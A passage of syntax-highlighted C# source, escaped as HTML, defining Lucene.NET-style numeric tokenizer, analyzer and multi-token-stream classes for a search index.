class=&#34;ln&#34;&gt;271&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;272&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;273&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;274&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;275&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;276&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;277&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;278&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;279&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;280&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;281&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;282&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;283&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;284&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;285&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;286&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;287&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;288&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;289&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;endregion&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;290&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;291&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;292&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// this is just an example to show a different kind of token stream.. &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;293&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;NumericAnalyzer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Analyzer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;294&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;295&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fieldName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;296&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;297&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericTokenizer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;298&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;299&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;300&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;301&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;NumericTokenizer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CharTokenizer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;302&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;303&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericTokenizer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;304&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;305&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;306&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;307&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;308&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTokenChar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;309&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;310&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// only consider numbers to be tokenizable characters&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;311&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsNumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;312&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;313&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;314&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;315&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MultiTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;316&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;317&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;318&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;319&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;320&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;321&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;322&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;323&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;324&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;325&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;326&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;327&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;328&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;329&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenStream&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;330&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;tokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;331&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;332&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;333&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IncrementToken&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;334&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;335&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;336&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;337&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;338&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;339&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;340&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MoveNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;341&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;342&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;343&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Current&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;344&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;345&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;346&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;success&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IncrementToken&lt;/span&gt;&lt;span 